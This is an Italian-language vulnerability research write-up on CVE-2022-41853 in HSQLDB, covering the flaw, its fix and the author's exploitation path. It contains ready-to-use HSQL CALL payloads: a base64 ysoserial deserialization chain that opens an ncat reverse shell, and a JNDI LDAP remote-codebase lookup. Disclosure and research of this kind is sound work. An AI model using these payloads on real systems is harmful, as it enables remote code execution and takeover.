mbadanoiu/cve-2022-41853Ricerca su CVE-2022-41853: Utilizzo di funzioni statiche per ottenere RCE tramite deserializzazione Java e attacco al codebase remoto
Coloro che utilizzano java.sql.Statement o java.sql.PreparedStatement in hsqldb (HyperSQL DataBase) per elaborare input non attendibili potrebbero essere vulnerabili a un attacco di esecuzione remota di codice. Per impostazione predefinita è consentito chiamare qualsiasi metodo statico di qualsiasi classe Java nel classpath, con conseguente esecuzione di codice. Il problema può essere evitato aggiornando alla versione 2.7.1 oppure impostando la proprietà di sistema "hsqldb.method_class_names" sulle classi a cui è consentito effettuare chiamate. Ad esempio, è possibile utilizzare System.setProperty("hsqldb.method_class_names", "abc") o l'argomento Java -Dhsqldb.method_class_names="abc". Dalla versione 2.7.1, per impostazione predefinita tutte le classi non sono accessibili, tranne quelle in java.lang.Math, e devono essere abilitate manualmente.
La divulgazione iniziale di questa vulnerabilità si trova qui.
Team OSS-Fuzz
https://github.com/google/oss-fuzz
Nel 2021, stavo leggendo il post del blog "Remote Code Execution in F5 Big‑IP" di Mikhail Klyuchnikov su come un attacco di normalizzazione dei percorsi + query HSQL "CALL" potessero essere utilizzate per chiamare metodi statici Java arbitrari al fine di ottenere RCE.
Poiché, all'epoca, stavo segnalando e ricercando vulnerabilità in Apache SOLR, mi sono ricordato che il loro esempio JDBC Stream utilizza HSQL e mi sono messo a configurare l'ambiente di test.
Nota: Purtroppo, questa vulnerabilità non interessa i server Apache Solr predefiniti, poiché il JAR HSQL deve essere posizionato specificamente nella cartella “./server/solr-webapp/webapp/WEB-INF/lib/” affinché il driver sia raggiungibile dal componente Stream JDBC.
Poiché l'RCE in F5 utilizza la funzione "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" situata in "tmui.jar" (un JAR specifico delle applicazioni F5), e volevo creare un payload indipendente dall'applicazione, ho iniziato a cercare come combinare JAR comunemente usati (ad es. Apache Commons Collections, Apache Log4J) per chiamare funzioni statiche e ottenere RCE.
Poiché i gadget CommonsCollections* di ysoserial sono stati la prima cosa che mi è venuta in mente, ho seguito la strada della deserializzazione Java con i seguenti risultati:
java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true') per abilitare la deserializzazione non sicura (Perché bypassare quando si può rimuovere del tutto una salvaguardia :)) )public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) come sink per il nostro input, in modo da raggiungere la funzione ObjectInputStream(x).readObject()public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary(String encoded) o public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary(String s) per trasformare la stringa del payload ysoserial codificata in un array di byte che verrà ingerito da deserialize(byte[] objectData)Il payload HSQL completo ha la seguente forma:
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABxuY2F0IC1lIC9iaW4vYmFzaCAxMjcuMSA0NDQ0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='))
Nota: In questo caso il payload ysoserial è di tipo CommonsCollection6 ed eseguirà il comando di reverse shell ncat -e /bin/bash 127.1 4444.
Nota 2: Il JAR HSQLDB.jar standalone non è vulnerabile a questo payload perché non include il JAR Apache Commons Collections. Questa vulnerabilità funziona (la maggior parte delle volte) quando HSQL è incluso in un'applicazione web (ad es. SOLR, Liferay, ecc.)
Ulteriori dettagli e il processo di sfruttamento sono disponibili in questo PDF.
Approfondendo questo argomento nel 2023, mi sono imbattuto in questa fantastica presentazione Exploring JNDI Attacks di iSafeBlue che utilizzava java.lang.System.setProperty per impostare com.sun.jndi.ldap.object.trustURLCodebase o com.sun.jndi.rmi.object.trustURLCodebase a true e quindi eseguire una lookup LDAP/RMI per portare a termine con successo un attacco Java Remote Codebase.
Esempio di payload HSQL:
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')
Risultato:
Nota: Per ragioni sconosciute, questa vulnerabilità funziona sul file HSQLDB.jar predefinito, ma non funziona nell'ambiente HSQL + Apache SOLR ¯\_(ツ)_/¯.